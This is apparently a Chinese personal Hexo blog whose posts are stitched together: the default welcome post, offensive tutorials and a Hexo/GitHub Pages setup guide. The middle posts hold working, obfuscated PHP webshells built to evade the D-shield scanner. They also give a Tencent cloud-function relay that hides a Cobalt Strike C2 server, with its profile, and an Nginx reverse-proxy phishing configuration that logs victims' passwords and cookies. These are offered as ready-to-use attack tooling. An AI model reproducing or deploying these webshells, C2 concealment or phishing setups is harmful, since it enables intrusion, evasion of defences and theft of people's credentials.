Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

一、免杀小马

小马源代码

我们首先要有一个文件上传下马的源代码,接下来才能对改源码做免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 这是源代码
<?php
header("content-Type: text/html; charset=utf-8");
?>
<form method="POST"></br>
shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\', '/', __FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18"></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
</form>

<?php
error_reporting(0);
if ($_POST) {
$f = fopen($_POST["file"], "w");
echo fwrite($f, $_POST["text"]) ? '保存成功!' : '保存失败!';
}
?>

该原始文件自然是不会免杀的
enter description here

小马免杀思路

先上完整代码,大致分为三部分的免杀处理,后续进行逐一思路拆解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
header("content-Type: text/html; charset=utf-8");
?>

<form method="POST"></br>
路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\', '/', __FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18"></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
</form>

<?php
error_reporting(0);
if ($_POST) {
// 第一部分
$aa = "~+d()" ^ "!{+{}";
$bb = ${$aa}["file"];
$f = fopen($bb, 'w');
// 第二部分
$tarr = array("j" => "e", "a" => "x");
$t = strtr('tjat', $tarr);
// 第三部分
$j = $_POST[$t];
$k = "\n";
echo fwrite($f, $k.=$j) ? '保存成功!' : '保存失败!';
}

?>

第一部分和第三部分主要是对$_POST做隐藏处理
首先第一部分代码,这里主要是利用异或赋值$aa = "~+d()" ^ "!{+{}",而字符串~+d()" ^ "!{+{}异或的结果为_POST,然后$bb = ${$aa}["file"]$bb = $_POST["file"]等价,这样就成功的把$_POST隐藏起来了。
举个例子:

1
2
3
4
5
<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval($b);
?>

第三部分是使用的特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。这里使用的是连接符进行构造。
举个例子:

1
2
3
4
5
<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

第二部分是对字符串text做处理
为什么要对这个字符串做处理呢,因为不作处理D盾会警告可疑文件
enter description here
这里使用strtr函数对字符串做处理,他可以替换字符串中的字符,我们使用一个混淆的字符串再加上调用一个数组来指定替换那些字符串,最终结果成功绕过D盾。该函数具体介绍参考这篇文章
enter description here

二、免杀一句话

先贴免杀代码,后边讲思路

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function guodog($b){
$l1="Mw=="; // 3
$tarr = array("j" => "o", "h" => "s");
$jjkjkjkjkkjkh = strtr('bahe64_decjde', $tarr);
$l=$jjkjkjkjkkjkh($l1);
$l2=("$l"^'R').("$l"^'@').("$l"^'@').("$l"^'V').("$l"^'K').("$l"^'K'); //assexx

$d = substr_replace($l2,"rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $d($_POST['x'])))));
}
guodog($b);
?>

首先我们这个一句话主要使用了异或的方法隐藏assert,简单的用案例介绍一下异或的使用方法

1
2
3
4
5
6
7
8
9
10
11
<?php
echo ("x"^"3")."<br/>"; // 左侧为我们想要的字符 x ,这个异或的返回结果为 K
echo ("3"^"K")."<br/>"; // 我们将上个结果 K 放到右侧,左侧为上个异或的右侧 3 ,即可成功返回 x

// 循环上边两个步骤,便可以不断尝试出我们想要的字符所对应的异或
echo ("3"^"R")."<br/>"; // a
echo ("3"^"@")."<br/>"; // s
echo ("3"^"@")."<br/>"; // s
echo ("3"^"V")."<br/>"; // e
echo ("3"^"A")."<br/>"; // r
echo ("3"^"G")."<br/>"; // t

我们可以使用连接符将异或结果拼接为assert

1
2
3
4
<?php
$l=("3"^"R").("3"^"@").("3"^"@").("3"^"V").("3"^"A").("3"^"G");
echo $l; //assert
?>

但是这个方法放到一句话木马里D盾会提示可疑文件
enter description here
所以我们要对异或的字符串做加密处理(注:不能一口气将全部的内容做加密,就算解开了会当做一个字符串处理,不会再解析了),这里选择将3作为加密字符

加密方式使用base64,但是D盾对base64_decode做的有校验,不能直接使用,我们采取小马中对字符串处理的方法,使用strtr函数传递一个数组进去,详细看小马部分内容。

最后我们输出的时候我们不能将变量和$_POST[value]放在一起,否则D盾会报可疑变量
enter description here
最后使用数组的形式进行传递,成功绕过D盾
enter description here

使用云函数隐藏真实ip

文章使用腾讯云,其他的类似

直接搜索云函数,如果第一次使用可能会提示需要授权,根据提示进行授权即可
点击新建云函数,使用自定义创建,选择实践函数,名称自定义,地域选离你近的,运行环境python3.6,代码部署
自定义创建云函数

函数代码默认配置即可,云函数代码如下,记得修改下自己的c2ip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf8 -*-
import json,base64,requests
def main_handler(event,context):
C2 = 'http://IP:PORT'
headers = event['headers']
path = event['path']
ip = event['requestContext']['sourceIp']
headers = event['headers']
headers['X-Forwarded-For'] = ip
print(event)
if event['httpMethod'] == 'GET':
resp = requests.get(C2+path,headers=headers,verify=False)
else:
resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)

response={
"isBase64Encoded":True,
"statusCode":resp.status_code,
"headers":dict(resp.headers),
"body":str(base64.b64encode(resp.content))[2:-1]
}
return response

高级设置不用动,点击触发器设置,版本选择一下,触发方式选择API网关触发,选择了之后点击完成开始创建云函数
云函数的触发器配置
创建完成呢之后我们点击编辑API
编辑云函数
注意路径一定要是根目录,将原来的给删除,然后点击立即完成发布服务
云函数的路径配置
发布完服务之后点击名称,在右侧就可以看到两个默认访问地址,一个是http的,一个是https的,后续根据Cobalt Strike的监听服务进行选择即可。
接着在服务端的Cobalt Strike中新建tencent.profile文件,其内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {
set uri "/api/x";
client { header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}

http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

开启Cobalt Strike服务端./teamserver ip password tencent.profile
本地连接Cobal Strike,新添加个监听,将腾讯云函数的默认访问地址复制过来,复制的时候注意掐头去尾,不要http://,不要:80
注意云函数的默认地址要掐头去尾
设置Cobalt Strike的监听
设置Cobalt Strike的监听
接下来测试效果,先用Cobalt Strike生成一个木马,注意监听选择我们的腾讯云
生成木马
测试效果,成功上线主机
Cobalt Strike上线主机
查看网络通信,发现木马外联地址是140.143.115.153,该ip是腾讯公司的的ip地址,成功隐藏了我们的真实ip
木马外连地址非Cobalt Strike主机地址
木马外连地址是腾讯云的

Nginx反向代理钓鱼

一、反向代理简介

反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。同时,用户不需要知道目标服务器的地址,也无须在用户端作任何设定。反向代理服务器通常可用来作为Web加速,即使用反向代理作为Web服务器的前置机来降低网络和服务器的负载,提高访问效率。
反向代理图示

二、准备环境

服务器:需要配置nginx,笔者使用的centos7虚拟机+宝塔
原地址:http://www.xnote.cn/
反向代理后的地址:http://10.211.55.6:8080/

三、配置部署

打开nginx的配置文件/www/server/nginx/conf/nginx.conf,这里有两个要注意的点

  1. 需要在http处添加如下代码,这个是指定在日志中存储什么内容,TestLog要与后边的nginx配置一致
    1
    log_format Testlog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
    nginx.conf配置信息
  2. 查看你的nginx.conf配置中包含的其他配置文件位置,记住他,去该位置新增具体的配置信息
    nginx.conf中包含其他配置的文件信息
    我们进入/www/server/panel/vhost/nginx/中,新建test.conf文件,在该文件内做具体的信息配置
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    server{
    listen 8080;
    server_name 10.211.55.6;
    index index.html index.htm index.php;

    access_log /www/wwwlogs/access.log Testlog;

    location / {
    proxy_pass http://www.xnote.cn;
    proxy_buffering off;
    proxy_set_header X-Real-Ip $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host "www.xnote.cn";
    proxy_set_header Accept-Encoding "";
    proxy_set_header User-Agent $http_user_agent;
    proxy_set_header referer "http://xnote.cn$request_uri";
    }
    }
    server_name 为域名,这里我用自己服务器的ip
    access_log 为设置输出日志的路径
    proxy_pass 需要反向代理的网站
    proxy_set_header 用于在向反向代理的后端 Web 服务器发起请求时添加指定的 Header头信息。

access_log要和上面的nginx.conf配置中的Testlog对应不然日志不会起作用。

重点是$request_body(获取post数据),$http_cookie(获取cookie数据)这就是我们钓鱼的核心了。当有人访问并登陆我们反向代理的网站以后 我们点开日志就可以看到他的cookie和post提交的用户名和密码了。

四、实战效果

我们在浏览器中访问访问自己服务器的ip,可以看到是自己的ip,但是显示的却是目标系统的界面,说明反向代理成功。
自己搭建的反向钓鱼站点
任意进行注册或者登陆操作,可以在日志中看到获取的账户密码和cookie
可以在日志中查看用户的操作和信息
用户登陆操作也没问题
用户可以任意操作网站功能

参考文章

https://www.zifangsky.cn/728.html
http://drops.xmd5.com/static/drops/tips-6570.html
https://joker-vip.github.io/2020/10/23/nginx%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E9%92%93%E9%B1%BC/
https://payloads.online/archivers/2021-02-16/1
https://www.freebuf.com/articles/web/243404.html
https://www.cnblogs.com/R4v3n/articles/8460811.html

环境准备:

安装git和node.js

下载安装git
下载安装node.js
使用node -vnmp -vgit --version来分别验证是否安装成功
验证环境安装是否成功

使用ssh密钥连接github

创建ssh密钥码,输入下列命令,一路回车:

1
ssh-keygen -t rsa -C "GitHub 邮箱"
  • 添加密钥
    进入 /User/用户名/.ssh目录,找到id_rsa.pub文件并复制里面的内容,登陆Github,进入到settings界面,选择左边栏的SSH and GPG keys,点击 New SSH key。 title名字可以随意取,复制的id_rsa.pub内容现在粘贴在key中,点击Add SSH key添加完成。
  • 验证连接
    在终端输入 ssh -T git@github.com,会问你“are you sure”,输入yes回车,成功的话会提示“ You’ve successfully authenticated”

    创建github Pages仓库

    GitHub 主页右上角加号 -> New repository:

Repository name 中输入 用户名.github.io (注意这里必须和你用户名保持一致)
Description选填

设定为Public,其他的不用动

填好后点击 Create repository 创建。创建后默认自动启用 HTTPS,博客地址为:https://用户名.github.io

Hexo博客部署

本地安装Hexo博客程序

使用npm安装Hexo博客程序,需要输入一下开机密码

1
sudo npm install -g hexo-cli

然后新建一个文件夹用来新建Hexo的程序文件,命令行切换到该文件的路径,依次输入以下命令

1
2
hexo init    # 初始化
npm install # 安装组件

完成后依次输入下面命令,启动本地服务器进行预览:

1
2
hexo g  # 生成页面
hexo s # 启动预览

访问http://localhost:4000,出现Hexo默认页面,本地博客安装成功
本地博客测试搭建成功
网站的目录结构:config是网站的配置信息,package是应用程序的信息,scaffolds是模板文件夹,source是存放用户资源的(Markdown文档)themes是主题文件夹,public是网站文件。
Hexo博客网站的结构目录

部署Hexo到Github Pages

首先安装hexo-deployer-git

1
npm install hexo-deployer-git --save

然后修改 _config.yml 文件末尾的 Deployment 部分,修改成如下:

1
2
3
4
deploy:
type: git
repository: git@github.com:用户名/用户名.github.io.git
branch: master

完成后运行hexo d将网站上传部署到Github Pages,然后访问我们的 GitHub 域名 https://用户名.github.io 就可以看到 Hexo 网站了。

Hexo主题优化

Hexo博客的主题文件夹都放在根目录下的themes中,可以在hexo的主题网站上选择其他的主题,将喜欢的主题下载下来放到themes目录中即可,下面是我用的主题作为示范

1
git clone https://github.com/yelog/hexo-theme-3-hexo.git themes/3-hexo

然后修改hexo根目录的_config.yml,如下

1
theme: 3-hexo

使用hexo g -d保存并发布预览

发布文章

进入Blog所在的目录,使用以下命令创建博文:

1
hexo new "name"

然后 source 文件夹中会出现一个 name.md 文件,就可以使用 Markdown 编辑器在该文件中撰写文章了。
写完后运行下面代码将文章渲染并部署到 GitHub Pages 上完成发布。以后每次发布文章都是这两条命令。

1
2
hexo g   # 生成页面
hexo d # 部署发布

也可以一句话直接生成并部署

1
hexo g -d             # 生成页面并部署

其他命令

1
2
3
4
hexo s                # 本地预览
hexo s --debug # 本地预览调试
hexo clean # 清除缓存和已生成的静态文件
hexo help # 帮助

参考文章:
https://zymdragonggg.github.io/2020/03/03/hexo_github/
https://blog.csdn.net/sinat_37781304/article/details/82729029